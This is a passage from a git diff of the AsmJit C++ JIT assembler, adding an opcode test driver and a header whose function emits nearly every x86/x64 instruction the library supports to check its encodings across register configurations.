true }, + { ArchInfo::kTypeX64, true , false }, + { ArchInfo::kTypeX64, true , true } + }; + + for (int i = 0; i < ASMJIT_ARRAY_SIZE(infoList); i++) { + const OpcodeDumpInfo& info = infoList[i]; + + printf("Opcodes [ARCH=%s REX1=%s REX2=%s]\n", + archTypeToString(info.archType), + info.useRex1 ? "true" : "false", + info.useRex2 ? "true" : "false"); + + CodeHolder code; + code.init(CodeInfo(info.archType)); + code.setErrorHandler(&eh); + +#if !defined(ASMJIT_DISABLE_LOGGING) + FileLogger logger(stdout); + logger.addOptions(Logger::kOptionBinaryForm); + code.setLogger(&logger); +#endif // ASMJIT_DISABLE_LOGGING + + X86Assembler a(&code); + asmtest::generateOpcodes(a, info.useRex1, info.useRex2); + + // If this is the host architecture the code generated can be executed + // for debugging purposes (the first instruction is ret anyway). + if (code.getArchType() == ArchInfo::kTypeHost) { + JitRuntime runtime; + VoidFunc p; + Error err = runtime.add(&p, &code); + if (err == kErrorOk) p(); + } + } + + return 0; +} diff --git a/asmjit/test/asmjit_test_opcode.h b/asmjit/test/asmjit_test_opcode.h new file mode 100644 index 0000000..1d4f419 --- /dev/null +++ b/asmjit/test/asmjit_test_opcode.h @@ -0,0 +1,6050 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_TEST_OPCODE_H +#define _ASMJIT_TEST_OPCODE_H + +// [Dependencies] +#include "./asmjit.h" + +namespace asmtest { + +// Generate all instructions asmjit can emit. +static void generateOpcodes(asmjit::X86Assembler& a, bool useRex1 = false, bool useRex2 = false) { + using namespace asmjit; + using namespace asmjit::x86; + + bool isX64 = a.is64Bit(); + + /* + // TODO: Finalize implicit vs explicit. + a.cmpxchg8b(ptr_gpC); + a.cmpxchg8b(ptr_gpC, x86::edx, x86::eax, x86::ecx, x86::ebx); + + if (isX64) a.cmpxchg16b(ptr_gpC); + if (isX64) a.cmpxchg16b(ptr_gpC, x86::rdx, x86::rax, x86::rcx, x86::rbx); + */ + + // Prevent crash when the generated function is called to see the disassembly. + a.ret(); + + // All instructions use the following register that can be changed to see if + // the `X86Assembler` is properly encoding all possible combinations. If the + // `useRexRegs` argument is true the `A` version will in most cases contain + // a register having index 8 (if encodable). + X86Gp gLoA = useRex1 ? r8b : al; + X86Gp gLoB = useRex2 ? r9b : bl; + + X86Gp gHiA = ah; + X86Gp gHiB = bh; + + X86Gp gwA = useRex1 ? r8w : ax; + X86Gp gwB = useRex2 ? r9w : bx; + + X86Gp gdA = useRex1 ? r8d : eax; + X86Gp gdB = useRex2 ? r9d : ebx; + X86Gp gdC = useRex2 ? r10d : ecx; + + X86Gp gzA = useRex1 ? r8 : a.zax(); + X86Gp gzB = useRex2 ? r9 : a.zbx(); + X86Gp gzC = useRex2 ? r10 : a.zcx(); + X86Gp gzD = useRex2 ? r11 : a.zdx(); + + X86KReg kA = k1; + X86KReg kB = k2; + X86KReg kC = k3; + + X86Mem anyptr_gpA = ptr(gzA); + X86Mem anyptr_gpB = ptr(gzB); + X86Mem anyptr_gpC = ptr(gzC); + X86Mem anyptr_gpD = ptr(gzD); + + X86Mem intptr_gpA = a.intptr_ptr(gzA); + X86Mem intptr_gpB = a.intptr_ptr(gzB); + + X86Fp fpA = fp0; + X86Fp fpB = fp7; + + X86Mm mmA = mm0; + X86Mm mmB = mm1; + + X86Xmm xmmA = useRex1 ? xmm8 : xmm0; + X86Xmm xmmB = useRex2 ? xmm9 : xmm1; + X86Xmm xmmC = useRex2 ? xmm10 : xmm2; + X86Xmm xmmD = useRex2 ? xmm11 : xmm3; + + X86Ymm ymmA = useRex1 ? ymm8 : ymm0; + X86Ymm ymmB = useRex2 ? ymm9 : ymm1; + X86Ymm ymmC = useRex2 ? ymm10 : ymm2; + X86Ymm ymmD = useRex2 ? ymm11 : ymm3; + + X86Zmm zmmA = useRex1 ? zmm8 : zmm0; + X86Zmm zmmB = useRex2 ? zmm9 : zmm1; + X86Zmm zmmC = useRex2 ? zmm10 : zmm2; + X86Zmm zmmD = useRex2 ? zmm11 : zmm3; + + X86Mem vx_ptr = ptr(gzB, xmmB); + X86Mem vy_ptr = ptr(gzB, ymmB); + X86Mem vz_ptr = ptr(gzB, zmmB); + + Label L; + + // Base. + a.adc(gLoA, 1); + a.adc(gLoB, 1); + a.adc(gHiA, 1); + a.adc(gHiB, 1); + a.adc(gwA, 1); + a.adc(gwB, 1); + a.adc(gdA, 1); + a.adc(gdB, 1); + a.adc(gzA, 1); + a.adc(gzA, gzB); + a.adc(gzA, intptr_gpB); + a.adc(intptr_gpA, 1); + a.adc(intptr_gpA, gzB); + a.add(gLoA, 1); + a.add(gLoB, 1); + a.add(gHiA, 1); + a.add(gHiB, 1); + a.add(gwA, 1); + a.add(gwB, 1); + a.add(gdA, 1); + a.add(gdB, 1); + a.add(gzA, 1); + a.add(gzA, gzB); + a.add(gzA, intptr_gpB); + a.add(intptr_gpA, 1); + a.add(intptr_gpA, gzB); + a.and_(gLoA, 1); + a.and_(gLoB, 1); + a.and_(gHiA, 1); + a.and_(gHiB, 1); + a.and_(gwA, 1); + a.and_(gwB, 1); + a.and_(gdA, 1); + a.and_(gdB, 1); + a.and_(gzA, 1); + a.and_(gzA, gzB); + a.and_(gzA, intptr_gpB); + a.and_(intptr_gpA, 1); + a.and_(intptr_gpA, gzB); + a.bswap(gzA); + a.bt(gdA, 1); + a.bt(gzA, 1); + a.bt(gdA, gdB); + a.bt(gzA, gzB); + a.bt(intptr_gpA, 1); + a.bt(anyptr_gpA, gdB); + a.bt(intptr_gpA, gzB); + a.btc(gdA, 1); + a.btc(gzA, 1); + a.btc(gdA, gdB); + a.btc(gzA, gzB); + a.btc(intptr_gpA, 1); + a.btc(anyptr_gpA, gdB); + a.btc(intptr_gpA, gzB); + a.btr(gdA, 1); + a.btr(gzA, 1); + a.btr(gdA, gdB); + a.btr(gzA, gzB); + a.btr(intptr_gpA, 1); + a.btr(anyptr_gpA, gdB); + a.btr(intptr_gpA, gzB); + a.bts(gdA, 1); + a.bts(gzA, 1); + a.bts(gdA, gdB); + a.bts(gzA, gzB); + a.bts(intptr_gpA, 1); + a.bts(anyptr_gpA, gdB); + a.bts(intptr_gpA, gzB); + a.call(gzA); + a.call(intptr_gpA); + a.cbw(); // Implicit AX <- Sign Extend AL. + a.cbw(ax); // Explicit AX <- Sign Extend AL. + a.cdq(); // Implicit EDX:EAX <- Sign Extend EAX. + a.cdq(edx, eax); // Explicit EDX:EAX <- Sign Extend EAX. + if (isX64) a.cdqe(); // Implicit RAX <- Sign Extend EAX. + if (isX64) a.cdqe(eax); // Explicit RAX <- Sign Extend EAX. + a.cwd(); // Implicit DX:AX <- Sign Extend AX. + a.cwd(dx, ax); // Explicit DX:AX <- Sign Extend AX. + a.cwde(); // Implicit EAX <- Sign Extend AX. + a.cwde(eax); // Explicit EAX <- Sign Extend AX. + if (isX64) a.cqo(); // Implicit RDX:RAX <- Sign Extend RAX. + if (isX64) a.cqo(rdx, rax); // Explicit RDX:RAX <- Sign Extend RAX. + a.clc(); + a.cld(); + a.cmc(); + a.cmp(gLoA, 1); + a.cmp(gLoB, 1); + a.cmp(gHiA, 1); + a.cmp(gHiB, 1); + a.cmp(gwA, 1); + a.cmp(gwB, 1); + a.cmp(gdA, 1); + a.cmp(gdB, 1); + a.cmp(gzA, 1); + a.cmp(gLoA, gLoB); + a.cmp(gHiA, gHiB); + a.cmp(gwA, gwB); + a.cmp(gdA, gdB); + a.cmp(gzA, gzB); + a.cmp(gdA, anyptr_gpB); + a.cmp(gzA, intptr_gpB); + a.cmp(intptr_gpA, 1); + a.cmp(anyptr_gpA, gdB); + a.cmp(intptr_gpA, gzB); + a.cmpxchg(gdA, gdB); // Implicit regA, regB, + a.cmpxchg(gzA, gzB); // Implicit regA, regB, + a.cmpxchg(gdA, gdB, eax); // Explicit regA, regB, + a.cmpxchg(gzA, gzB, a.zax()); // Explicit regA, regB, + a.cmpxchg(anyptr_gpA, gdB); // Implicit mem , regB, + a.cmpxchg(anyptr_gpA, gzB); // Implicit mem , regB, + a.cmpxchg(anyptr_gpA, gdB, eax); // Explicit mem , regB, + a.cmpxchg(anyptr_gpA, gzB, a.zax()); // Explicit mem , regB, + a.cmpxchg8b(anyptr_gpA); // Implicit mem , , , , + if (isX64) a.cmpxchg16b(anyptr_gpA); // Implicit mem , , , , + a.cpuid(); // Implicit , , , + a.cpuid(eax, ebx, ecx, edx); // Explicit , , , + a.crc32(gdA, byte_ptr(gzB)); + a.crc32(gdA, word_ptr(gzB)); + a.crc32(gdA, dword_ptr(gzB)); + if (isX64) a.crc32(gdA, qword_ptr(gzB)); + if (isX64) a.crc32(gzA, qword_ptr(gzB)); + a.dec(gLoA); + a.dec(gHiA); + a.dec(gwA); + a.dec(gdA); + a.dec(gzA); + a.dec(intptr_gpA); + a.inc(gLoA); + a.inc(gwA); + a.inc(gdA); + a.inc(gzA); + a.inc(intptr_gpA); + a.int_(13); + a.int3(); + a.into(); + a.lea(gzA, intptr_gpB); + a.mov(gLoA, 1); + a.mov(gHiA, 1); + a.mov(gwA, 1); + a.mov(gdA, 1); + a.mov(gzA, 1); + a.mov(gLoA, gLoB); + a.mov(gHiA, gHiB); + a.mov(gwA, gwB); + a.mov(gdA, gdB); + a.mov(gzA, gzB); + a.mov(gLoA, anyptr_gpB); + a.mov(gwA, anyptr_gpB); + a.mov(gdA, anyptr_gpB); + a.mov(gzA, intptr_gpB); + a.mov(anyptr_gpA, gLoB); + a.mov(anyptr_gpA, gwB); + a.mov(anyptr_gpA, gdB); + a.mov(intptr_gpA, 1); + a.mov(intptr_gpA, gzB); + a.movsx(gzA, gLoB); + a.movsx(gzA, byte_ptr(gzB)); + a.movzx(gzA, gLoB); + a.movzx(gzA, byte_ptr(gzB)); + a.movbe(gzA, anyptr_gpB); + a.movbe(anyptr_gpA, gzB); + a.neg(gzA); + a.neg(intptr_gpA); + a.nop(); + a.not_(gzA); + a.not_(intptr_gpA); + a.or_(gLoA, 1); + a.or_(gLoB, 1); + a.or_(gHiA, 1); + a.or_(gHiB, 1); + a.or_(gwA, 1); + a.or_(gwB, 1); + a.or_(gdA, 1); + a.or_(gdB, 1); + a.or_(gzA, 1); + a.or_(gzA, gzB); + a.or_(gzA, intptr_gpB); + a.or_(intptr_gpA, 1); + a.or_(intptr_gpA, gzB); + a.pop(gzA); + a.pop(intptr_gpA); + if (!isX64) a.popa(); + if (!isX64) a.popad(); + a.popf(); + if (!isX64) a.popfd(); + if ( isX64) a.popfq(); + a.push(gzA); + a.push(intptr_gpA); + a.push(0); + if (!isX64) a.pusha(); + if (!isX64) a.pushad(); + a.pushf(); + if (!isX64) a.pushfd(); + if ( isX64) a.pushfq(); + a.rcl(gdA, 0); + a.rcl(gzA, 0); + a.rcl(gdA, 1); + a.rcl(gzA, 1); + a.rcl(gdA, cl); + a.rcl(gzA, cl); + a.rcl(intptr_gpA, 0); + a.rcl(intptr_gpA, 1); + a.rcl(intptr_gpA, cl); + a.rcr(gdA, 0); + a.rcr(gzA, 0); + a.rcr(gdA, 1); + a.rcr(gzA, 1); + a.rcr(gdA, cl); + a.rcr(gzA, cl); + a.rcr(intptr_gpA, 0); + a.rcr(intptr_gpA, 1); + a.rcr(intptr_gpA, cl); + a.rdtsc(); // Implicit + a.rdtsc(edx, eax); // Explicit + a.rdtscp(); // Implicit , + a.rdtscp(edx, eax, ecx); // Implicit , + a.ret(); + a.ret(0); + a.rol(gdA, 0); + a.rol(gzA, 0); + a.rol(gdA, 1); + a.rol(gzA, 1); + a.rol(gdA, cl); + a.rol(gzA, cl); + a.rol(intptr_gpA, 0); + a.rol(intptr_gpA, 1); + a.rol(intptr_gpA, cl); + a.ror(gdA, 0); + a.ror(gzA, 0); + a.ror(gdA, 1); + a.ror(gzA, 1); + a.ror(gdA, cl); + a.ror(gzA, cl); + a.ror(intptr_gpA, 0); + a.ror(intptr_gpA, 1); + a.ror(intptr_gpA, cl); + a.sbb(gLoA, 1); + a.sbb(gLoB, 1); + a.sbb(gHiA, 1); + a.sbb(gHiB, 1); + a.sbb(gwA, 1); + a.sbb(gwB, 1); + a.sbb(gdA, 1); + a.sbb(gdB, 1); + a.sbb(gzA, 1); + a.sbb(gzA, gzB); + a.sbb(gzA, intptr_gpB); + a.sbb(intptr_gpA, 1); + a.sbb(intptr_gpA, gzB); + a.sal(gdA, 0); + a.sal(gzA, 0); + a.sal(gdA, 1); + a.sal(gzA, 1); + a.sal(gdA, cl); + a.sal(gzA, cl); + a.sal(intptr_gpA, 0); + a.sal(intptr_gpA, 1); + a.sal(intptr_gpA, cl); + a.sar(gdA, 0); + a.sar(gzA, 0); + a.sar(gdA, 1); + a.sar(gzA, 1); + a.sar(gdA, cl); + a.sar(gzA, cl); + a.sar(intptr_gpA, 0); + a.sar(intptr_gpA, 1); + a.sar(intptr_gpA, cl); + a.shl(gdA, 0); + a.shl(gzA, 0); + a.shl(gdA, 1); + a.shl(gzA, 1); + a.shl(gdA, cl); + a.shl(gzA, cl); + a.shl(intptr_gpA, 0); + a.shl(intptr_gpA, 1); + a.shl(intptr_gpA, cl); + a.shr(gdA, 0); + a.shr(gzA, 0); + a.shr(gdA, 1); + a.shr(gzA, 1); + a.shr(gdA, cl); + a.shr(gzA, cl); + a.shr(intptr_gpA, 0); + a.shr(intptr_gpA, 1); + a.shr(intptr_gpA, cl); + a.shld(gdA, gdB, 0); + a.shld(gzA, gzB, 0); + a.shld(gdA, gdB, cl); + a.shld(gzA, gzB, cl); + a.shld(anyptr_gpA, gdB, 0); + a.shld(intptr_gpA, gzB, 0); + a.shld(anyptr_gpA, gdB, cl); + a.shld(intptr_gpA, gzB, cl); + a.shrd(gdA, gdB, 0); + a.shrd(gzA, gzB, 0); + a.shrd(gdA, gdB, cl); + a.shrd(gzA, gzB, cl); + a.shrd(anyptr_gpA, gdB, 0); + a.shrd(intptr_gpA, gzB, 0); + a.shrd(anyptr_gpA, gdB, cl); + a.shrd(intptr_gpA, gzB, cl); + a.stc(); + a.std(); + a.sti(); + a.sub(gLoA, 1); + a.sub(gLoB, 1); + a.sub(gHiA, 1); + a.sub(gHiB, 1); + a.sub(gwA, 1); + a.sub(gwB, 1); + a.sub(gdA, 1); + a.sub(gdB, 1); + a.sub(gzA, 1); + a.sub(gzA, gzB); + a.sub(gzA, intptr_gpB); + a.sub(intptr_gpA, 1); + a.sub(intptr_gpA, gzB); + a.swapgs(); + a.test(gzA, 1); + a.test(gzA, gzB); + a.test(intptr_gpA, 1); + a.test(intptr_gpA, gzB); + a.ud2(); + a.xadd(gzA, gzB); + a.xadd(intptr_gpA, gzB); + a.xchg(gzA, gzB); + a.xchg(intptr_gpA, gzB); + a.xchg(gzA, intptr_gpB); + a.xor_(gLoA, 1); + a.xor_(gLoB, 1); + a.xor_(gHiA, 1); + a.xor_(gHiB, 1); + a.xor_(gwA, 1); + a.xor_(gwB, 1); + a.xor_(gdA, 1); + a.xor_(gdB, 1); + a.xor_(gzA, 1); + a.xor_(gzA, gzB); + a.xor_(gzA, intptr_gpB); + a.xor_(intptr_gpA, 1); + a.xor_(intptr_gpA, gzB); + + // Special case - div|mul. + a.div(cl); // Implicit AH:AL <- AX * r8 + a.div(byte_ptr(gzA)); // Implicit AH:AL <- AX * m8 + a.div(ax, cl); // Explicit AH:AL <- AX * r8 + a.div(ax, anyptr_gpA); // Explicit AH:AL <- AX * m8 + + a.div(cx); // Implicit DX:AX <- DX:AX * r16 + a.div(word_ptr(gzA)); // Implicit DX:AX <- DX:AX * m16 + a.div(dx, ax, cx); // Explicit DX:AX <- DX:AX * r16 + a.div(dx, ax, anyptr_gpA); // Explicit DX:AX <- DX:AX * m16 + + a.div(ecx); // Implicit EDX:EAX <- EDX:EAX * r32 + a.div(dword_ptr(gzA)); // Implicit EDX:EAX <- EDX:EAX * m32 + a.div(edx, eax, ecx); // Explicit EDX:EAX <- EDX:EAX * r32 + a.div(edx, eax, anyptr_gpA); // Explicit EDX:EAX <- EDX:EAX * m32 + + if (isX64) a.div(rcx); // Implicit RDX|RAX <- RDX:RAX * r64 + if (isX64) a.div(qword_ptr(gzA)); // Implicit RDX|RAX <- RDX:RAX * m64 + if (isX64) a.div(rdx, rax, rcx); // Explicit RDX|RAX <- RDX:RAX * r64 + if (isX64) a.div(rdx, rax, anyptr_gpA); // Explicit RDX|RAX <- RDX:RAX * m64 + + a.idiv(cl); // Implicit AH:AL <- AX * r8 + a.idiv(byte_ptr(gzA)); // Implicit AH:AL <- AX * m8 + a.idiv(ax, cl); // Explicit AH:AL <- AX * r8 + a.idiv(ax, anyptr_gpA); // Explicit AH:AL <- AX * m8 + + a.idiv(cx); // Implicit DX:AX <- DX:AX * r16 + a.idiv(word_ptr(gzA)); // Implicit DX:AX <- DX:AX * m16 + a.idiv(dx, ax, cx); // Explicit DX:AX <- DX:AX * r16 + a.idiv(dx, ax, anyptr_gpA); // Explicit DX:AX <- DX:AX * m16 + + a.idiv(ecx); // Implicit EDX:EAX <- EDX:EAX * r32 + a.idiv(dword_ptr(gzA)); // Implicit EDX:EAX <- EDX:EAX * m32 + a.idiv(edx, eax, ecx); // Explicit EDX:EAX <- EDX:EAX * r32 + a.idiv(edx, eax, anyptr_gpA); // Explicit EDX:EAX <- EDX:EAX * m32 + + if (isX64) a.idiv(rcx); // Implicit RDX|RAX <- RDX:RAX * r64 + if (isX64) a.idiv(qword_ptr(gzA)); // Implicit RDX|RAX <- RDX:RAX * m64 + if (isX64) a.idiv(rdx, rax, rcx); // Explicit RDX|RAX <- RDX:RAX * r64 + if (isX64) a.idiv(rdx, rax, anyptr_gpA); // Explicit RDX|RAX <- RDX:RAX * m64 + + a.mul(cl); // Implicit AX <- AL * r8 + a.mul(byte_ptr(gzA)); // Implicit AX <- AL * m8 + a.mul(ax, cl); // Explicit AX <- AL * r8 + a.mul(ax, anyptr_gpA); // Explicit AX <- AL * m8 + + a.mul(cx); // Implicit DX:AX <- AX * r16 + a.mul(word_ptr(gzA)); // Implicit DX:AX <- AX * m16 + a.mul(dx, ax, cx); // Explicit DX:AX <- AX * r16 + a.mul(dx, ax, anyptr_gpA); // Explicit DX:AX <- AX * m16 + + a.mul(ecx); // Implicit EDX:EAX <- EAX * r32 + a.mul(dword_ptr(gzA)); // Implicit EDX:EAX <- EAX * m32 + a.mul(edx, eax, ecx); // Explicit EDX:EAX <- EAX * r32 + a.mul(edx, eax, anyptr_gpA); // Explicit EDX:EAX <- EAX * m32 + + if (isX64) a.mul(rcx); // Implicit RDX|RAX <- RAX * r64 + if (isX64) a.mul(qword_ptr(gzA)); // Implicit RDX|RAX <- RAX * m64 + if (isX64) a.mul(rdx, rax, rcx); // Explicit RDX|RAX <- RAX * r64 + if (isX64) a.mul(rdx, rax, anyptr_gpA); // Explicit RDX|RAX <- RAX * m64 + + a.imul(gdA); + a.imul(gzA); + a.imul(intptr_gpA); + a.imul(gdA, 1); + a.imul(gzA, 1); + a.imul(gdA, gdB); + a.imul(gzA, gzB); + a.imul(gdA, gdB, 1); + a.imul(gzA, gzB, 1); + a.imul(gdA, anyptr_gpB); + a.imul(gzA, intptr_gpB); + a.imul(gdA, anyptr_gpB, 1); + a.imul(gzA, intptr_gpB, 1); + + // Special case - zero-extend 32-bit immediate instead of sign-extend: + if (isX64) a.mov(gzA, static_cast(0xFEEDFEED)); + if (isX64) a.and_(gzA, static_cast(0xFEEDFEED)); + + // Special case - mov with absolute 32-bit address (X86|X64). + a.mov(al , ptr(uint64_t(0x01020304))); + a.mov(ax , ptr(uint64_t(0x01020304))); + a.mov(eax, ptr(uint64_t(0x01020304))); + a.mov(ptr(uint64_t(0x01020304)), al ); + a.mov(ptr(uint64_t(0x01020304)), ax ); + a.mov(ptr(uint64_t(0x01020304)), eax); + + // Special case - mov with absolute 64-bit address (X64). + if (isX64) a.mov(al , ptr(uint64_t(0x0102030405060708ull))); + if (isX64) a.mov(ax , ptr(uint64_t(0x0102030405060708ull))); + if (isX64) a.mov(eax, ptr(uint64_t(0x0102030405060708ull))); + if (isX64) a.mov(rax, ptr(uint64_t(0x0102030405060708ull))); + if (isX64) a.mov(ptr(uint64_t(0x0102030405060708ull)), al ); + if (isX64) a.mov(ptr(uint64_t(0x0102030405060708ull)), ax ); + if (isX64) a.mov(ptr(uint64_t(0x0102030405060708ull)), eax); + if (isX64) a.mov(ptr(uint64_t(0x0102030405060708ull)), rax); + + // Control registers. + a.nop(); + + a.mov(gzA, cr0); + a.mov(cr0, gzA); + if (isX64) a.mov(gzA, cr8); + if (isX64) a.mov(cr8, gzA); + + // Debug registers. + a.nop(); + + a.mov(gzA, dr0); + a.mov(dr0, gzA); + + // Segment registers. + a.nop(); + + if (!isX64) a.mov(es, ax); + if (!isX64) a.mov(es, bx); + if (!isX64) a.mov(ax, es); + if (!isX64) a.mov(bx, es); + + if (!isX64) a.mov(cs, ax); + if (!isX64) a.mov(cs, bx); + if (!isX64) a.mov(ax, cs); + if (!isX64) a.mov(bx, cs); + + if (!isX64) a.mov(ss, ax); + if (!isX64) a.mov(ss, bx); + if (!isX64) a.mov(ax, ss); + if (!isX64) a.mov(bx, ss); + + if (!isX64) a.mov(ds, ax); + if (!isX64) a.mov(ds, bx); + if (!isX64) a.mov(ax, ds); + if (!isX64) a.mov(bx, ds); + + a.mov(fs, ax); + a.mov(fs, bx); + a.mov(ax, fs); + a.mov(bx, fs); + + a.mov(gs, ax); + a.mov(gs, bx); + a.mov(ax, gs); + a.mov(bx, gs); + + // Instructions using REP prefix. + a.nop(); + + a.in(al, 0); + a.in(al, dx); + a.in(ax, 0); + a.in(ax, dx); + a.in(eax, 0); + a.in(eax, dx); + a.rep().ins(byte_ptr(a.zdi()), dx); + a.rep().ins(word_ptr(a.zdi()), dx); + a.rep().ins(dword_ptr(a.zdi()), dx); + + a.out(imm(0), al); + a.out(dx, al); + a.out(imm(0), ax); + a.out(dx, ax); + a.out(imm(0), eax); + a.out(dx, eax); + a.rep().outs(dx, byte_ptr(a.zsi())); + a.rep().outs(dx, word_ptr(a.zsi())); + a.rep().outs(dx, dword_ptr(a.zsi())); + + a.lodsb(); + a.lodsd(); + a.lodsw(); + a.rep().lodsb(); + a.rep().lodsd(); + a.rep().lodsw(); + if (isX64) a.rep().lodsq(); + + a.movsb(); + a.movsd(); + a.movsw(); + a.rep().movsb(); + a.rep().movsd(); + a.rep().movsw(); + if (isX64) a.rep().movsq(); + + a.stosb(); + a.stosd(); + a.stosw(); + a.rep().stosb(); + a.rep().stosd(); + a.rep().stosw(); + if (isX64) a.rep().stosq(); + + a.cmpsb(); + a.cmpsd(); + a.cmpsw(); + a.repz().cmpsb(); + a.repz().cmpsd(); + a.repz().cmpsw(); + if (isX64) a.repz().cmpsq(); + a.repnz().cmpsb(); + a.repnz().cmpsd(); + a.repnz().cmpsw(); + if (isX64) a.repnz().cmpsq(); + + a.scasb(); + a.scasd(); + a.scasw(); + a.repz().scasb(); + a.repz().scasd(); + a.repz().scasw(); + if (isX64) a.repz().scasq(); + a.repnz().scasb(); + a.repnz().scasd(); + a.repnz().scasw(); + if (isX64) a.repnz().scasq(); + + // Label...Jcc/Jecxz/Jmp. + a.nop(); + + L = a.newLabel(); + a.bind(L); + a.ja(L); + a.jae(L); + a.jb(L); + a.jbe(L); + a.jc(L); + a.je(L); + a.jg(L); + a.jge(L); + a.jl(L); + a.jle(L); + a.jna(L); + a.jnae(L); + a.jnb(L); + a.jnbe(L); + a.jnc(L); + a.jne(L); + a.jng(L); + a.jnge(L); + a.jnl(L); + a.jnle(L); + a.jno(L); + a.jnp(L); + a.jns(L); + a.jnz(L); + a.jo(L); + a.jp(L); + a.jpe(L); + a.jpo(L); + a.js(L); + a.jz(L); + a.jecxz(ecx, L); + a.jmp(L); + + // Jcc/Jecxz/Jmp...Label. + a.nop(); + + L = a.newLabel(); + a.ja(L); + a.jae(L); + a.jb(L); + a.jbe(L); + a.jc(L); + a.je(L); + a.jg(L); + a.jge(L); + a.jl(L); + a.jle(L); + a.jna(L); + a.jnae(L); + a.jnb(L); + a.jnbe(L); + a.jnc(L); + a.jne(L); + a.jng(L); + a.jnge(L); + a.jnl(L); + a.jnle(L); + a.jno(L); + a.jnp(L); + a.jns(L); + a.jnz(L); + a.jo(L); + a.jp(L); + a.jpe(L); + a.jpo(L); + a.js(L); + a.jz(L); + a.jecxz(ecx, L); + a.jmp(L); + a.bind(L); + + // FPU. + a.nop(); + + a.f2xm1(); + a.fabs(); + a.fadd(fpA, fpB); + a.fadd(fpB, fpA); + a.fadd(dword_ptr(gzA)); + a.fadd(qword_ptr(gzA)); + a.faddp(fpB); + a.faddp(); + a.fbld(dword_ptr(gzA)); + a.fbstp(dword_ptr(gzA)); + a.fchs(); + a.fclex(); + a.fcom(fpB); + a.fcom(); + a.fcom(dword_ptr(gzA)); + a.fcom(qword_ptr(gzA)); + a.fcomp(fpB); + a.fcomp(); + a.fcomp(dword_ptr(gzA)); + a.fcomp(qword_ptr(gzA)); + a.fcompp(); + a.fcos(); + a.fdecstp(); + a.fdiv(fpA, fpB); + a.fdiv(fpB, fpA); + a.fdiv(dword_ptr(gzA)); + a.fdiv(qword_ptr(gzA)); + a.fdivp(fpB); + a.fdivp(); + a.fdivr(fpA, fpB); + a.fdivr(fpB, fpA); + a.fdivr(dword_ptr(gzA)); + a.fdivr(qword_ptr(gzA)); + a.fdivrp(fpB); + a.fdivrp(); + a.fiadd(dword_ptr(gzA)); + a.ficom(word_ptr(gzA)); + a.ficom(dword_ptr(gzA)); + a.ficomp(word_ptr(gzA)); + a.ficomp(dword_ptr(gzA)); + a.fidiv(word_ptr(gzA)); + a.fidiv(dword_ptr(gzA)); + a.fidivr(word_ptr(gzA)); + a.fidivr(dword_ptr(gzA)); + a.fild(word_ptr(gzA)); + a.fild(dword_ptr(gzA)); + a.fild(qword_ptr(gzA)); + a.fimul(word_ptr(gzA)); + a.fimul(dword_ptr(gzA)); + a.fincstp(); + a.finit(); + a.fninit(); + a.fisub(word_ptr(gzA)); + a.fisub(dword_ptr(gzA)); + a.fisubr(word_ptr(gzA)); + a.fisubr(dword_ptr(gzA)); + a.fist(word_ptr(gzA)); + a.fist(dword_ptr(gzA)); + a.fistp(word_ptr(gzA)); + a.fistp(dword_ptr(gzA)); + a.fistp(qword_ptr(gzA)); + a.fld(dword_ptr(gzA)); + a.fld(qword_ptr(gzA)); + a.fld(tword_ptr(gzA)); + a.fld1(); + a.fldl2t(); + a.fldl2e(); + a.fldpi(); + a.fldlg2(); + a.fldln2(); + a.fldz(); + a.fldcw(anyptr_gpA); + a.fldenv(anyptr_gpA); + a.fmul(fpA, fpB); + a.fmul(fpB, fpA); + a.fmul(dword_ptr(gzA)); + a.fmul(qword_ptr(gzA)); + a.fmulp(fpB); + a.fmulp(); + a.fnclex(); + a.fnop(); + a.fnsave(anyptr_gpA); + a.fnstenv(anyptr_gpA); + a.fnstcw(anyptr_gpA); + a.fpatan(); + a.fprem(); + a.fprem1(); + a.fptan(); + a.frndint(); + a.frstor(anyptr_gpA); + a.fsave(anyptr_gpA); + a.fscale(); + a.fsin(); + a.fsincos(); + a.fsqrt(); + a.fst(dword_ptr(gzA)); + a.fst(qword_ptr(gzA)); + a.fstp(dword_ptr(gzA)); + a.fstp(qword_ptr(gzA)); + a.fstp(tword_ptr(gzA)); + a.fstcw(anyptr_gpA); + a.fstenv(anyptr_gpA); + a.fsub(fpA, fpB); + a.fsub(fpB, fpA); + a.fsub(dword_ptr(gzA)); + a.fsub(qword_ptr(gzA)); + a.fsubp(fpB); + a.fsubp(); + a.fsubr(fpA, fpB); + a.fsubr(fpB, fpA); + a.fsubr(dword_ptr(gzA)); + a.fsubr(qword_ptr(gzA)); + a.fsubrp(fpB); + a.fsubrp(); + a.ftst(); + a.fucom(fpB); + a.fucom(); + a.fucom(fpB); + a.fucomi(fpB); + a.fucomip(fpB); + a.fucomp(fpB); + a.fucompp(); + a.fxam(); + a.fxtract(); + a.fyl2x(); + a.fyl2xp1(); + + // LAHF/SAHF + a.lahf(); // Implicit + a.lahf(ah); // Explicit + a.sahf(); // Implicit + a.sahf(ah); // Explicit + + // FXSR. + a.fxrstor(anyptr_gpA); + a.fxsave(anyptr_gpA); + + // XSAVE. + a.nop(); + + a.xgetbv(); // Implicit , + a.xgetbv(edx, eax, ecx); // Explicit , + + a.xsetbv(); // Implicit , + a.xsetbv(edx, eax, ecx); // Explicit , + + a.xrstor(anyptr_gpA); // Implicit + a.xrstors(anyptr_gpA); // Implicit + a.xsave(anyptr_gpA); // Implicit + a.xsavec(anyptr_gpA); // Implicit + a.xsaveopt(anyptr_gpA); // Implicit + a.xsaves(anyptr_gpA); // Implicit + + if (isX64) a.xrstor64(anyptr_gpA); // Implicit + if (isX64) a.xrstors64(anyptr_gpA); // Implicit + if (isX64) a.xsave64(anyptr_gpA); // Implicit + if (isX64) a.xsavec64(anyptr_gpA); // Implicit + if (isX64) a.xsaveopt64(anyptr_gpA); // Implicit + if (isX64) a.xsaves64(anyptr_gpA); // Implicit + + // POPCNT. + a.nop(); + + a.popcnt(gdA, gdB); + a.popcnt(gzA, gzB); + a.popcnt(gdA, anyptr_gpB); + a.popcnt(gzA, anyptr_gpB); + + // LZCNT. + a.nop(); + + a.lzcnt(gdA, gdB); + a.lzcnt(gzA, gzB); + a.lzcnt(gdA, anyptr_gpB); + a.lzcnt(gzA, anyptr_gpB); + + // BMI. + a.nop(); + + a.andn(gdA, gdB, gdC); + a.andn(gzA, gzB, gzC); + a.andn(gdA, gdB, anyptr_gpC); + a.andn(gzA, gzB, anyptr_gpC); + a.bextr(gdA, gdB, gdC); + a.bextr(gzA, 